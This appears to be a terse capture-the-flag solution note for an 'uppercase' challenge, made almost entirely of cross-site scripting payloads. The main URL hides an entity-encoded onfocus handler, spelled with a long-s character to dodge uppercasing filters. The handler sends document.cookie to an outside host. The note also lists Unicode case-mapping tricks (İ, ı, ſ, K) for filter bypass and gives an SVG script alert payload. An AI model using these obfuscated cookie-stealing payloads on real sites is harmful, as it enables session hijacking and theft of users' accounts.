xss payload

uppercase

https://uppercase.canhack.me/?text=%3Cinput%20type=text%20onfocu%C5%BF=%22%26%23108;%26%23111;%26%2399;%26%2397;%26%23116;%26%23105;%26%23111;%26%23110;%26%2361;%26%2396;%26%23104;%26%23116;%26%23116;%26%23112;%26%23115;%26%2358;%26%2347;%26%2347;%26%23110;%26%23101;%26%23107;%26%23111;%26%23112;%26%2346;%26%23107;%26%23114;%26%2363;%26%2336;%26%23123;%26%23100;%26%23111;%26%2399;%26%23117;%26%23109;%26%23101;%26%23110;%26%23116;%26%2346;%26%2399;%26%23111;%26%23111;%26%23107;%26%23105;%26%23101;%26%23125;%26%2396;%22%20autofocus%3E

İ (%c4%b0).toLowerCase() => i
ı (%c4%b1).toUpperCase() => I
ſ (%c5%bf) .toUpperCase() => S
K (%E2%84%AA).toLowerCase() => k

<svg><script>&#97;lert('xss');</script></svg>